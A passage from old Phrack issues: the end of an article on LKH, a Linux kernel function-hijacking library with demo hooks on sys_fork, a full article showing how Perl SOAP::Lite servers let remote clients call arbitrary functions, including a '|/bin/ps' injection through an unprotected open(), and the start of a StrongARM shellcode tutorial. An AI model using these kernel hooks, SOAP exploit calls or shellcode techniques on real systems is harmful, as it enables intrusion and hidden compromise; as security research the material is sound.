original function 's code . These bytes were reset to their original
values before calling the function, so we need to hook the function
again (like in step A) .
This step is noped (replaced by NOP instructions) if the hook is
single-shot (not permanent), so the 7 bytes of our evil indirect
jump (step A) are not copied again . This step is very near from
step (B) since it use the same copy mechanism (using rep movs*
instructions), so refers tothis step for explainations . NULL
offsets in the code must be fixed during the hook creation :
- The first one (the source buffer) is replaced by the evil bytes
buffer .
- The second one (the destination buffer) is replaced by the original
function entry point address .
movl $0x00, %esi
movl $0x00, %edi
push %ds
pop %es
cld
xor %ecx, %ecx
movb $0x07, %cl
rep movsb
G - Use the original return address (saved on step E2) and get
back to the original calling function . The NULL offset you
can see (*) must be fixed in step E2 with the original function
return address . The %ecx value is then pushed on the stack so the
next ret instruction will use it like if it was a saved %eip
register on the stack . This returns to the (correct) original
place .
movl $0x00, %ecx *
pushl %ecx
ret
--[ 4 - Using the library
----[ 4.1 - The API
The LKH API is pretty easy to use :
hook_t *khook_create(int addr, int mask);
Create a hook on the address 'addr'. Give also the default type
(HOOK_PERMANENT or HOOK_SINGLESHOT) , the default state
(HOOK_ENABLED or HOOK_DISABLED) and the default mode (HOOK_AGGRESSIVE
or HOOK_DISCRETE) . The type, state and mode are OR'd in the
'mask' parameter .
void khook_destroy(hook_t *h);
Disable, destroy, and free the hook ressources .
int khook_add_entry(hook_t *h, char *routine, int range);
Add a callback to the hook, at the 'range' rank . Return -1 if the
given rank is invalid . Otherwise, return 0 .
int khook_remove_entry(hook_t *h, int range);
Remove the callback put in slot 'range', return -1 if the given rank
is invalid . Otherwise return 0 .
void khook_purge(hook_t *h);
Remove all callbacks on this hook .
int khook_set_type(hook_t *h, char type);
Change the type for the hook 'h' . The type can be HOOK_PERMANENT
(the hookcode is executed each time the hooked function is called) or
HOOK_SINGLESHOT (the hookcode is executed only for 1 hijack, then the
hook is cleanly removed .
int khook_set_state(hook_t *h, char state);
Change the state for the hook 'h' . The state can be HOOK_ENABLED
(the hook is enabled) or HOOK_DISABLED (the hook is disabled) .
int khook_set_mode(hook_t *h, char mode);
Change the mode for the hook 'h' . The mode can be HOOK_AGGRESSIVE
(the hook does not call the hijacked function) or HOOK_DISCRETE
(the hook calls the hijacked function after having executed the
callback routines) . Some part of the hook code is nop'ed
(overwritten by no operation instructions) if the hook is aggressive
(step E and step H) .
int khook_set_attr(hook_t *h, int mask);
Change the mode, state, and/or type using a unique function call.
The function returns 0 in case of success or -1 if the specified
mask contains incompatible options .
Note that you can add or remove entries whenever you want, whatever the
state , type and mode of the used hook .
----[ 4.2 - Kernel symbol resolution
A symbol resolution function has been added to LKH, allowing you to access
exported functions values .
int ksym_lookup(char *name);
Note that it returns NULL if the symbol remains unresolved . This lookup
can resolve symbols contained in the __ksymtab section of the kernel, an
exhaustive list of these symbols is printed when executing 'ksyms -a' :
bash-2.03# ksyms -a | wc -l
1136
bash-2.03# wc -l /boot/System.map
14647 /boot/System.map
bash-2.03# elfsh -f /usr/src/linux/vmlinux -s # displaying sections
[SECTION HEADER TABLE]
(nil) --- foffset: (nil) 0 bytes [*Unknown*]
(...)
0xc024d9e0 a-- __ex_table foffset: 0x14e9e0 5520 bytes [Program data]
0xc024ef70 a-- __ksymtab foffset: 0x14ff70 9008 bytes [Program data]
0xc02512a0 aw- .data foffset: 0x1522a0 99616 bytes [Program data]
(...)
(nil) --- .shstrtab foffset: 0x1ad260 216 bytes [String table]
(nil) --- .symtab foffset: 0x1ad680 245440 bytes [Symbol table]
(nil) --- .strtab foffset: 0x1e9540 263805 bytes [String table]
[END]
As a matter of fact, the memory mapped section __ksymtab does not contains
every kernel symbols we would like to hijack.
In the other hand, the non-mapped section .symtab is definitely bigger
(245440 bytes vs 9008 bytes). When using 'ksyms', the __NR_query_module
syscall (or __NR_get_kernel_syms for older kernels) is used internaly, this
syscall can only access the __ksymtab section since the complete kernel
symbol table contained in __ksymtab is not loaded in memory. The solution
to access to whole symbol table is to pick up offsets in our System.map
file (create it using `nm -a vmlinux > System.map`) .
bash-2.03# ksyms -a | grep sys_fork
bash-2.03# grep sys_fork /boot/System.map
c0105898 T sys_fork
bash-2.03#
#define SYS_FORK 0xc0105898
if ((s = khook_create((int) SYS_FORK, HOOK_PERMANENT, HOOK_ENABLED)) == NULL)
KFATAL("init_module: Cant set hook on function *sys_fork* ! \n", -1);
khook_add_entry(s, (int) fork_callback, 0);
#undef SYS_FORK
For systems not having System.map or uncompressed kernel image (vmlinux),
it is acceptable to uncompress the vmlinuz file (take care, its not a
standard gzip format!
[3] contains very useful information about this) and create manually
a new System.map file .
Another way to go concerning kernel non-exported symbols resolution could
be a statistic based lookup : Analysing references in the kernel
hexadecimal code could allow us to predict the symbol values (fetching
call or jmp instructions), the difficulty of this tool would be the
portability, since the kernel code changes from a version to another.
Dont forgett t change SYS_FORK to your own sys_fork offset value.
----[ 4.3 - LKH Internals: the hook_t object
Let's look at the hook_t structure (the hook entity in memory) :
typedef struct s_hook
{
int addr;
int offset;
char saved_bytes[7];
char voodoo_bytes[7];
char hook[HOOK_SIZE];
char cache1[CACHE1_SIZE];
char cache2[CACHE2_SIZE];
} hook_t;
h->addr The address of the original function, used to
enable or disable the hook .
h->offset This field contains the offset from h->addr where to
begin overwrite to set the hijack . Its value is 3 or
0 , it depends if the function has a stack frame
or not .
h->original_bytes The seven overwritten bytes of the original
function .
h->voodoo_bytes The seven bytes we need to put at the beginning of the
function to redirect it (contains the indirect jump code
seen in step A on paragraph 3) .
h->hook The opcodes buffer contaning the hooking code,
where we insert callback reference using
khook_add_entry() .
The cache1 and cache2 buffers are used to backup some hook code when we
set the mode HOOK_AGGRESSIVE (since we have to nop the original function
call, saving this code is necessary , for eventually reset the hook as
discrete after)
Each time you create a hook, an instance of hook_t is declared and
allocated . You have to create one hook per function you want to
hijack .
----[ 5 - Testing the code
Please check http://www.devhell.org/~mayhem/ for fresh code first. The
package (version 1.1) is given at the end of the article) .
Just do #include "lkh.c" and play ! In this example module using LKH,
we wants to hook :
- the hijack_me() function, here you can check the good parameters passing
and their well done modification throught the callbacks .
- the schedule() function, SINGLESHOT hijack .
- the sys_fork() function, PERMANENT hijack .
------[ 5.1 - Loading the module
bash-2.03# make load
insmod lkh.o
Testing a permanent, aggressive, enabled hook with 3 callbacks:
A in hijack_one = 0 -OK-
B in hijack_one = 1 -OK-
A in hijack_zero = 1 -OK-
B in hijack_zero = 2 -OK-
A in hijack_two = 2 -OK-
B in hijack_two = 3 -OK-
--------------------
Testing a disabled hook:
A in HIJACKME!!! = 10 -OK-
B in HIJACKME!!! = 20 -OK-
--------------------
Calling hijack_me after the hook destruction
A in HIJACKME!!! = 1 -OK-
B in HIJACKME!!! = 2 -OK-
SCHEDULING!
------[ 5.2 - Playing around a bit
bash-2.05# ls
FORKING!
Makefile doc example.c lkh.c lkh.h lkh.o user user.c user.h user.o
bash-2.05# pwd
/usr/src/coding/LKH
(Did not printed FORKING! since pwd is a shell builtin command :)
bash-2.05# make unload
FORKING!
rmmod lkh;
LKH unloaded - sponsorized by the /dev/hell crew!
bash-2.05# ls
Makefile doc example.c lkh.c lkh.h lkh.o user user.c user.h user.o
bash-2.05#
You can see "FORKING!" each time the sys_fork() kernel function is called
(the hook is permanent) and "SCHEDULING!" when the schedule() kernel function
is called for the first time (since this hook is SINGLESHOT, the schedule()
function is hijacked only one time, then the hook is removed) .
Here is the commented code for this demo :
------[ 5.3 - The code
/*
** LKH demonstration code, developped and tested on Linux x86 2.4.5
**
** The Library code is attached .
** Please check http://www.devhell.org/~mayhem/ for updates .
**
** This tarball includes a userland code (runnable from GDB), the LKH
** kernel module and its include file, and this file (lkm-example.c)
**
** Suggestions {and,or} bug reports are welcomed ! LKH 1.2 already
** in development .
**
** Special thanks to b1nf for quality control ;)
** Shoutout to kraken, keep the good work on psh man !
**
** Thanks to csp0t (one work to describe you : *elite*)
** and cma4 (EPITECH powa, favorite win32 kernel hax0r)
**
** BigKaas to the devhell crew (r1x and nitrogen fux0r)
** Lightman, Gab and Xfred from chx-labs (stop smoking you junkies ;)
**
** Thanks to the phrackstaff and particulary skyper for his
** great support . Le Havre en force ! Case mais oui je t'aime ;)
*/
#include "lkh.c"
int hijack_me(int a, int b); /* hooked function */
int hijack_zero(void *ptr); /* first callback */
int hijack_one(void *ptr); /* second callback */
int hijack_two(void *ptr); /* third callback */
void hijack_fork(void *ptr); /* sys_fork callback */
void hijack_schedule(void *ptr); /* schedule callback */
static hook_t *h = NULL;
static hook_t *i = NULL;
static hook_t *j = NULL;
int
init_module()
{
int ret;
printk(KERN_ALERT "Change the SYS_FORK value then remove the return \n");
return (-1);
/*
** Create the hooks
*/
#define SYS_FORK 0xc010584c
j = khook_create(SYS_FORK
, HOOK_PERMANENT
| HOOK_ENABLED
| HOOK_DISCRETE);
#undef SYS_FORK
h = khook_create(ksym_lookup("hijack_me")
, HOOK_PERMANENT
| HOOK_ENABLED
| HOOK_AGGRESSIVE);
i = khook_create(ksym_lookup("schedule")
, HOOK_SINGLESHOT
| HOOK_ENABLED
| HOOK_DISCRETE);
/*
** Yet another check
*/
if (!h || !i || !j)
{
printk(KERN_ALERT "Cannot hook kernel functions \n");
return (-1);
}
/*
** Adding some callbacks for the sys_fork and schedule functions
*/
khook_add_entry(i, (int) hijack_schedule, 0);
khook_add_entry(j, (int) hijack_fork, 0);
/*
** Testing the hijack_me() hook .
*/
printk(KERN_ALERT "LKH: perm, aggressive, enabled hook, 3 callbacks:\n");
khook_add_entry(h, (int) hijack_zero, 1);
khook_add_entry(h, (int) hijack_one, 0);
khook_add_entry(h, (int) hijack_two, 2);
ret = hijack_me(0, 1);
printk(KERN_ALERT "--------------------\n");
printk(KERN_ALERT "Testing a disabled hook :\n");
khook_set_state(h, HOOK_DISABLED);
ret = hijack_me(10, 20);
khook_destroy(h);
printk(KERN_ALERT "------------------\n");
printk(KERN_ALERT "Calling hijack_me after the hook destruction\n");
hijack_me(1, 2);
return (0);
}
void
cleanup_module()
{
khook_destroy(i);
khook_destroy(j);
printk(KERN_ALERT "LKH unloaded - sponsorized by the /dev/hell crew!\n");
}
/*
** Function to hijack
*/
int
hijack_me(int a, int b)
{
printk(KERN_ALERT "A in HIJACKME!!! = %u \t -OK- \n", a);
printk(KERN_ALERT "B in HIJACKME!!! = %u \t -OK- \n", b);
return (42);
}
/*
** First callback for hijack_me()
*/
int
hijack_zero(void *ptr)
{
int *a;
int *b;
a = ptr;
b = a + 1;
printk(KERN_ALERT "A in hijack_zero = %u \t -OK- \n", *a);
printk(KERN_ALERT "B in hijack_zero = %u \t -OK- \n", *b);
(*b)++;
(*a)++;
return (0);
}
/*
** Second callback for hijack_me()
*/
int
hijack_one(void *ptr)
{
int *a;
int *b;
a = ptr;
b = a + 1;
printk(KERN_ALERT "A in hijack_one = %u \t -OK- \n", *a);
printk(KERN_ALERT "B in hijack_one = %u \t -OK- \n", *b);
(*a)++;
(*b)++;
return (1);
}
/*
** Third callback for hijack_me()
*/
int
hijack_two(void *ptr)
{
int *a;
int *b;
a = ptr;
b = a + 1;
printk(KERN_ALERT "A in hijack_two = %u \t -OK- \n", *a);
printk(KERN_ALERT "B in hijack_two = %u \t -OK- \n", *b);
(*a)++;
(*b)++;
return (2);
}
/*
** Callback for schedule() (kernel exported symbol)
*/
void hijack_schedule(void *ptr)
{
printk(KERN_ALERT "SCHEDULING! \n");
}
/*
** Callbacks for sys_fork() (kernel non exported symbol)
*/
void
hijack_fork(void *ptr)
{
printk(KERN_ALERT "FORKING! \n");
}
--[ 6 - References
[1] Kernel function hijacking
http://www.big.net.au/~silvio/
[2] INTEL Developers manual
http://developers.intel.com/design/pentiu m4/manuals/
[3] Linux Kernel Internals
http://www.linuxdoc.org/guides.html
|=[ EOF ]=---------------------------------------------------------------=|
==============
Page 6/10
==============
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x09 of 0x0e
|=-------------=[ RPC without borders (surfing USA ...) ]=---------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ stealth ]=------------------=|
--[ Introduction
In this article I will explain weaknesses as they already exist in
today's remote object access technologies (focusing on the new
SOAP -- Simple Object Access Protocol) or may show up in future. I will
give a small walk-around on things already available and will explain why
they are used and why it makes sense to use it. Since the topic is *that*
large, I can only give you basic ideas of how these things work in general;
but I focus on a SOAP implementation in Perl later, where I explain in
depth how things break, and will try to 'port' the ideas then. References
are given in the end so you may try to figure out remote object access
yourself -- its a damn interesting thing. :-)
--[ 1. The new RPCs
RPC as you know it has been used in a lot of services for decades such
as in NIS or NFS. However these have never been available to multi-tier
applications and web-applications in paricular (or at least RPC wasn't
really made for it).
Since a few years, 'RPC over XML', so called "XML-RPC" has been defined
which should enable developers (web-developers in paricular) to _easily_
use the RPC capability which has been available to system-programmers for
years. Application-developers today use CORBA (Common Object Request Broker
Architecture), which (in short) adds the ability of accessing objects
remotely with RPC. Since the blinking OO world began, developers felt they
need to access objects remotely and they are quite happy with CORBA. It
allows nice things such as
today = TimeServer_ptr->date();
that is it looks like you are accessing a local object, but indeed it is
located on some other box. The underlying so called "Middleware" libraries
translate this call into sending data in a special format to the server
which invokes the request on an object the server registered for remote
usage.
The reason for this is that programs have grown so much in recent years
that programmers want to have easy ways to access ressources remotely,
without the pain of platform-specifics such as byte-ordering, different
socket-semantics etc. etc.. There also exist a lot of tools and
pre-compilers which do a lot of work for the programmer already (such as
translating an interface-description into valid C++ code).
Everything is fine except it is a _bit_ complicated and our
web-application-developers probably do not use it at all, so the need for
an easy to access and straight to implement CORBA-replacement (read
'replacement' as 'we are happy with it, but isn't there an easier way?')
seemed to be necessary.
XML-RPC was there already, so why not building a remote object access
facility on top of it? SOAP was born. It allows you to call methods on
objects remotely, similar to the example above. Somewhat like OO XML-RPC.
Unlike the 'normal' RPC where program and version-numbers were required
to specify which function should be called, XML-RPC allows you to send the
full functionname across the socket enveloped into a XML document. You
usually need to register the objects (with the corresponding methods) which
may be accessed from the outside; at least when I wrote a distributed
banking-application in C++ using CORBA, it worked that way ;-). This is
also true for SOAP technology, as I will explain a few lines later,
(indeed, I do not care much about SOAP specification, but on the specific
implemenatations) but this time we may send function and object-names as
strings and we will see registering objects does not make the whole thing
secure as it is expected to be.
--[ 2. why Perl
I will focus on Perl implementations of SOAP because Perl has the special
capability to call functions indirectly:
#!/usr/bin/perl -w
use POSIX;
sub AUTOLOAD
{
print "AUTOLOAD: called $AUTOLOAD(@_)\n";
}
sub func1
{
print "called func1(@_)\n";
}
$name = "POSIX::system";
$name->("/usr/bin/id");
Isn't that nice, we can specify at runtime which function is called via
$name, POSIX::system in this case. Every unknown function you try to invoke
i.e. POSIX::nonexisiting will trigger the AUTOLOAD subroutine which is a
special gift from Perl. That way, you may load unloaded stuff at runtime
when you notice that a function-call does not 'resolve'. Things are even
better, because indirect function-calls also work fine with tainted data!
#!/usr/bin/perl -w -T
use POSIX;
$ENV{PATH}="/usr/bin";
$ENV{ENV}="";
sub AUTOLOAD
{
print "AUTOLOAD: called $AUTOLOAD(@_)\n";
}
sub func1
{
print "called func1(@_)\n";
}
for (;;) {
print "Enter function-name: ";
$name = ; chop $name;
print "Enter argument: ";
$arg = ; chop $arg;
$name->($arg);
}
Giving "func1" and "that" as input will call
func1("that");
even when in tainted mode. Though, it breaks with "POSIX::system" and
"/bin/sh" because tainted data would be passed to CORE::system() function
at the end which is forbidden. AUTOLOADing also works with tainted data.
Let's just write that to our Notitzblock:
'Perl allows functions to be called indirectly, no matter
whether it is in tainted mode or not and the name/argument
of that function is retrieved from outside or not.'
--[ 3. How things work
Lets now start right away with a Demo-program that uses SOAP::Lite
[soaplite] to show what XML-RPC means:
#!/usr/bin/perl -w
use SOAP::Transport::HTTP;
$daemon = SOAP::Transport::HTTP::Daemon
-> new (LocalPort => 8081)
-> dispatch_to('Demo');
print "Contact to SOAP server at ", $daemon->url, "\n";
$daemon->handle;
sub authenticated
{
return "Hi @_, you are authenticated now!";
}
package Demo;
sub callme
{
return "called callme";
}
Ok. That was basicly taken from a How-to-use-SOAP guide from [soaplite].
What you do here is starting a small HTTP-server which listens on port 8081
and delegates the XML-RPC's to the package 'Demo'. That way, clients may
call the callme() function remotely. HTTP is used here, but SOAP works
protocol-independant, so you may use SMTP or whatever here - there are lots
of modules shipped with SOAP::Lite. Calling a function basicly works by
POSTing a XML-document to this server now. Here is a small client calling
the offered function "callme()":
#!/usr/bin/perl -w
use SOAP::Lite;
my $soap = new SOAP::Lite;
# when using HTTP::Daemon, build client like this
if (1) {
$soap->uri('http://1.2.3.4/Demo');
$soap->proxy('http://1.2.3.4:8081/');
} else {
# if SOAP server is CGI, call like this
$soap->uri('http://1.2.3.4/Demo');
$soap->proxy('http://1.2.3.4/cgi-bin/soap.cgi');
}
print $soap->callme()->result();
proxy() allows you to specify which server to contact for the
remote-service. It's not an HTTP-proxy as you know them from usual web
stuff. uri() is used to distinguish between the classes the server offers
(coz he may offer more than one). You can see it later in the HTTP-header
sent to the server in the SOAPAction field. As you see, CGI scripts may be
used to offer the service, but thats slower than HTTP::Daemon, so we do not
discuss it here further (it's the same exploiting technique anyways...).
And thats it! Isnt that nice? RPC can't be easier. The
$soap->callme()
is translated by SOAP::Lite's AUTOLOADer into a
$soap->call("callme"); functioncall which produces the
following XML-document then sent to remote port 8081:
(HTTP-header stripped, output formatted)
Just to show you that the functionname is passed to remote-side as
string. Got an idea now where we will go today? :-) To make things complete
here's the result:
called callme
Sucess. I am not going to explain that, as it's first not further of
interest and second the bookstore where I ordered a book on SOAP did not
send me the book yet.
--[ 4. How things break
Why not trying to call other functions which do not belong to the
package? I guess main::authenticated() would be a nice target.
#!/usr/bin/perl -w
use SOAP::Lite;
my $soap = new SOAP::Lite;
# when using HTTP::Daemon, build client like so
if (1) {
$soap->uri('http://1.2.3.4/Demo');
$soap->proxy('http://1.2.3.4:8081/');
} else {
# if SOAP server is CGI, call like so
$soap->uri('http://1.2.3.4/Demo');
$soap->proxy('http://1.2.3.4/cgi-bin/soap.cgi');
}
print $soap->call("X:main::authenticated" => "me")->result();
(Do not ask for code-dup! :-)
Running against the server seen above:
stealth@linux:SOAP> ./c.pl
Hi Demo me, you are authenticated now!stealth@linux:SOAP>
Wow! "Demo" and "me" are both arguments to authenticated().
Thats because of how SOAPLite works:
...
$class->$method_name(SOAP::Server::Object->objects(@parameters))
...
The three dots before the method-call parse the XML-document, retrieving
class-name method-uri and method-name from it. Actually,
Demo->main::authenticated("me");
is executed by means of our client-request. That yields 'Demo' in @_. That's
aready the most problematic part of SOAP-implemenatations in Perl. It
allows you to call any function on (in case of SOAP::Lite) any package.
We used main:: in this example but it might be POSIX::system() too. There
are other SOAP modules than SOAP::Lite which we could use here, but they also
suffer on the same problem. Even when you are not able to specify the
class-name, that is the SOAP implementation has
sub handler
{
# Dave Developer: we are safe, restricting
# access to Calculator package
Calculator->$method($args);
...
}
you are able to 'breakout' of the package Calculator by giving the full
package-name to $method (main::authenticated in above case). It is
something like *package reverse traversal*. That's the whole point. Again,
this will work in tainted mode too! A note on SOAP-namespaces: You have
probably seen that we sent indeed 'X:main::authenticated' (prepended 'X:').
Do not ask why, but there is a prefix needed in SOAP::Lite case, otherwise
the remote XML-Parser will complain. On the other hand another SOAP module
required to have i.e. POSIX as namespace and system as method which
assembled to POSIX::system on the other end. The XML-document generated by
that module produced somehow wrong package::method invokations, so I had to
handle that with raw port 80/HTTP requests by myself. Seems that either I
got namespace-handling wrong or the module parsing was broken. (Probably
first case, I said the book did not arrived yet, no? :-)
Hm. I just remember perl has some nice tricks which are possible via
open(). Let's see whether we can find some. My requires-script shows me that
SOAP::Transport::HTTP requires HTTP::Daemon (via 'new' call that is invoked
by the server, so it's available at runtime). Let's just look at HTTP::Daemon
package:
...
package HTTP::Daemon::ClientConn;
...
sub send_file
{
my($self, $file) = @_;
my $opened = 0;
if (!ref($file)) {
local(*F);
open(F, $file) || return undef;
...
Ayeee! An unprotected open() call. To the client we wrote above, add
$soap->call("X:HTTP::Daemon::ClientConn::send_file" => "|/bin/ps");
which will call Demo->HTTP::Daemon::ClientConn::send_file("|/bin/ps");
which is HTTP::Daemon::ClientConn::send_file(Demo, "|/bin/ps"); where only
the second argument is of interest ($file for the open-call :-).
OK. I think now you have got an idea of what's going on here, even when
the open() call would not be there, it's still dangerous enough as we may
call *any*, let me repeat, *any* function in the Perl-daemon that is
availabe at runtime (either in main-package or a package that is 'use'ed
or 'require'd, except CORE which is not accessible).
--[ 5. Tritt ein, bring Glueck herein.
It might be of interest to detect whether on a given port a SOAP-Lite
server is running. Nothing easier than this:
stealth@linux:SOAP> telnet 127.0.0.1 32887
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
POST /x.pl / HTTP 1.1
SOAP-ENV:ClientApplication failed during request deserialization:
no element found at line 1, column 0, byte -1 at
/usr/lib/perl5/site_perl/5.6.1/i586-linux/XML/Parser.pm line 185
http://linux:32887/
Connection
closed by foreign host.
As you see, SOAP-Lite is very verbose in its error-messages. Important
line is
/usr/lib/perl5/site_perl/5.6.1/i586-linux/XML/Parser.pm
which tells us that Perl is used, and that's it.
The classnames are usually described elsewhere to give programmers of the
clients all necessary information. Very often the site that runs the SOAP
service describes on their website how its interferred with. However, if
SOAP becomes widespread one day its probably needed to find better scanning
techniques.
--[ 6. No trespassing
It is very interesting that people think security is when they use HTTPS
instead of HTTP. I have seen 'secure' SOAP servers which just used HTTPS
as underlying protocol and were declared as 'secure servers'.
So, how to protect? Difficult. The -T switch to force tainted mode works
against direct shell-escapes but being able to call any internal daemon
function is bad enough. Maybe the package-qualifiers "::" should be
stripped. If you allow them it's like allowing ".." in pathnames which leads
to reverse traversal (there are better ways to protect against reverse
traversal than stripping "..", though) in some cases. Tainting the
functionname that comes via the socket will disallow _any_ RPC.
A way might be to put all allowed classes and function-names into a hash
and look whether the received string is contained there. Frontier XML-RPC
module for Perl does it that way, it has a hash of methods it allows like
my %funcs = ('callme' => \&sub1);
where you may only call 'callme' function. You can try to call other
functions until your face turns into green, you won't suceed.
To be fair, I must admit that the SOAP specification [SOAP] explicitely
says it does not cover security-releated stuff. Some companies published
papers on SOAP security right when I was exploiting my test-servers.
Though, they are almost all releated to encryption and signing topics, just
a few cover access-control such as [big-blue].
This is not just a Perl issue AFAIK, because other languages also allow
indirect calling of functions, such as JAVA or PHP. :-) I did not look at
JAVA or CORBA for Perl but I would not be surprised if similar problems
exist there too.
--[ 7. References
[soaplite] The SOAP::Lite implementation for Perl
http://www.soaplite.com
I tested SOAP::Lite 0.51 and SOAP 0.28 for Perl.
[] A list of some sites who offer XML-RPC service, just to
show you it is used at all:
http://www.xmlrpc.com/directory/1568/services
[] Mailinglists, links, docu etc. on SOAP:
http://soapware.org
[SOAP] SOAP 1.1 specification
http://www.w3.org/TR/2000/NOTE-SOAP-20000508/
[big-blue] SOAP security whitepaper
http://www.trl.ibm.com/projects/xml/soap/wp/wp.html
|=[ EOF ]=---------------------------------------------------------------=|
==============
Page 7/10
==============
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e
|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ funkysh ]=----------------------=|
"Into my ARMs"
---[ Introduction
This paper covers informations needed to write StrongARM Linux shellcode.
All examples presented in this paper was developed on Compaq iPAQ H3650
with Intel StrongARM-1110 processor running Debian Linux. Note that this
document is not a complete ARM architecture guide nor an assembly
language tutorial, while I hope it also does not contain any major bugs,
it is perhaps worth noting that StrongARM can be not fully compatible
with other ARMs (however, I often refer just to "ARM" when I think it is
not an issue). Document is divided into nine sections:
* Brief history of ARM
* ARM architecture
* ARM registers
* Instruction set
* System calls
* Common operations
* Null avoiding
* Example codes
* References
---[ Brief history of ARM
First ARM processor (ARM stands for Advanced RISC Machine) was designed
and manufactured by Acorn Computer Group in the middle of 80's.
Since beginning goal was to construct low cost processor with low power
consumption, high performance and power efficiency. In 1990 Acorn
together with Apple Computer set up a new company Advanced RISC Machines
Ltd. Nowadays ARM Ltd does not make processors only designs them and
licenses the design to third party manufacturers. ARM technology is
currently licensed by number of huge companies including Lucent, 3Com,
HP, IBM, Sony and many others.
StrongARM is a result of ARM Ltd and Digital work on design that use the
instruction set of the ARM processors, but which is built with the chip
technology of the Alpha series. Digital sold off its chip manufacturing
to Intel Corporation. Intel's StrongARM (including SA-110 and SA-1110)
implements the ARM v4 architecture defined in [1].
---[ ARM architecture
The ARM is a 32-bit microprocessor designed in RISC architecture, that
means it has reduced instruction set in opposite to typical CISC like
x86 or m68k. Advantages of reduced instruction set includes possibility
of optimising speed using for example pipelining or hard-wired logic.
Also instructions and addressing modes can made identical for most
instructions. ARM is a load/store architecture where data-processing
operations only operate on register contents, not directly on memory
contents. It is also supporting additional features like Load and Store
Multiple instructions and conditional execution of all instructions.
Obviously every instruction has the same length of 32 bits.
---[ ARM registers
ARM has 16 visible 32 bit registers: r0 to r14 and r15 (pc). To simplify
the thing we can say there is 13 'general-purpose' registers - r0 to r12
(registers from r0 to r7 are unbanked registers which means they refers
to the same 32-bit physical register in all processor modes, they have
no special use and can be used freely wherever an general-purpose
register is allowed in instruction) and three registers reserved for
'special' purposes (in fact all 15 registers are general-purpose):
r13 (sp) - stack pointer
r14 (lr) - link register
r15 (pc/psr) - program counter/status register
Register r13 also known as 'sp' is used as stack pointer and both with
link register are used to implement functions or subroutines in ARM
assembly language. The link register - r14 also known as 'lr' is used to
hold subroutine return address. When a subroutine call is performed by
eg. bl instruction r14 is set to return address of subroutine. Then
subroutine return is performed by copying r14 back into program counter.
Stack on the ARM grows to the lower memory addresses and stack pointer
points to the last item written to it, it is called "full descending
stack". For example result of placing 0x41 and then 0x42 on the stack
looks that way:
memory address stack value
+------------+
0xbffffdfc: | 0x00000041 |
+------------+
sp -> 0xbffffdf8: | 0x00000042 |
+------------+
---[ Instruction set
As written above ARM like most others RISC CPUs has fixed-length (in this
case 32 bits wide) instructions. It was also mentioned that all
instructions can be conditional, so in bit representation top 4 bits (31-28)
are used to specify condition under which the instruction is executed.
Instruction interesting for us can be devided into four classes:
- branch instructions,
- load and store instructions,
- data-processing instructions,
- exception-generating instructions,
Status register transfer and coprocessor instructions are ommitted here.
1. Branch instructions
-------------------
There are two branch instructions:
branch: b <24 bit signed offset>
branch with link: bl <24 bit signed offset>
Executing 'branch with link' - as mentioned in previous section, results
with setting 'lr' with address of next instruction.
2. Data-processing instructions
----------------------------
Data-processing instructions in general uses 3-address format:
Destination is always register, operand 1 also must be one of r0 to r15
registers, and operand 2 can be register, shifted register or immediate
value.
Some examples:
-----------------------------+----------------+--------------------+
addition: add | add r1,r1,#65 | set r1 = r1 + 65 |
substraction: sub | sub r1,r1,#65 | set r1 = r1 - 65 |
logical AND: and | and r0,r1,r2 | set r0 = r1 AND r2 |
logical exclusive OR: eor | eor r0,r1,#65 | set r0 = r1 XOR r2 |
logical OR: orr | orr r0,r1,r2 | set r0 = r1 OR r2 |
move: mov | mov r2,r0 | set r2 = r0 |
3. Load and store instructions
---------------------------
load register from memory: ldr rX,
Example: ldr r0, [r1] load r0 with 32 bit word from address specified
in r1, there is also ldrb instruction responsible for loading 8 bits,
and analogical instructions for storing registers in memory:
store register in memory: str rX, (store 32 bits)
strb rX, (store 8 bits)
ARM support also storing/loading of multiple registers, it is quite
interesting feature from optimization point of view, here go stm (store
multiple registers in memory):
stm (!),{register list}
Base register can by any register, but typically stack pointer is used.
For example: stmfd sp!, {r0-r3, r6} store registers r0, r1, r2, r3 and
r6 on the stack (in full descending mode - notice additional mnemonic
"fd" after stm) stack pointer will points to the place where r0 register
is stored.
Analogical instruction to load of multiple registers from memory is: ldm
4. Exception-generating instructions
---------------------------------
Software interrupt: swi is only interesting for us, it perform
software interrupt exception, it is used as system call.
List of instructions presented in this section is not complete, a full
set can be obtained from [1].
---[ Syscalls
On Linux with StrongARM processor, syscall base is moved to 0x900000,
this is not good information for shellcode writers, since we have to deal
with instruction opcode containing zero byte.
Example "exit" syscall looks that way:
swi 0x900001 [ 0xef900001 ]
Here goes a quick list of syscalls which can be usable when writing
shellcodes (return value of the syscall is usually stored in r0):
execve:
-------
r0 = const char *filename
r1 = char *const argv[]
r2 = char *const envp[]
call number = 0x90000b
setuid:
-------
r0 = uid_t uid
call number = 0x900017
dup2:
-----
r0 = int oldfd
r1 = int newfd
call number = 0x90003f
socket:
-------
r0 = 1 (SYS_SOCKET)
r1 = ptr to int domain, int type, int protocol
call number = 0x900066 (socketcall)
bind:
-----
r0 = 2 (SYS_BIND)
r1 = ptr to int sockfd, struct sockaddr *my_addr,
socklen_t addrlen
call number = 0x900066 (socketcall)
listen:
-------
r0 = 4 (SYS_LISTEN)
r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)
accept:
-------
r0 = 5 (SYS_ACCEPT)
r1 = ptr int s, struct sockaddr *addr,
socklen_t *addrlen
call number = 0x900066 (socketcall)
---[ Common operations
Loading high values
-------------------
Because all instructions on the ARM occupies 32 bit word including place
for opcode, condition and register numbers, there is no way for loading
immediate high value into register in one instruction. This problem can
be solved by feature called 'shifting'. ARM assembler use six additional
mnemonics reponsible for the six different shift types:
lsl - logical shift left
asl - arithmetic shift left
lsr - logical shift right
asr - arithmetic shift right
ror - rotate right
rrx - rotate right with extend
Shifters can be used with the data processing instructions, or with ldr
and str instruction. For example, to load r0 with 0x900000 we perform
following operations:
mov r0, #144 ; 0x90
mov r0, r0, lsl #16 ; 0x90 << 16 = 0x900000
Position independence
---------------------
Obtaining own code postition is quite easy since pc is general-purpose
register and can be either readed at any moment or loaded with 32 bit
value to perform jump into any address in memory.
For example, after executing:
sub r0, pc, #4
address of next instruction will be stored in register r0.
Another method is executing branch with link instruction:
bl sss
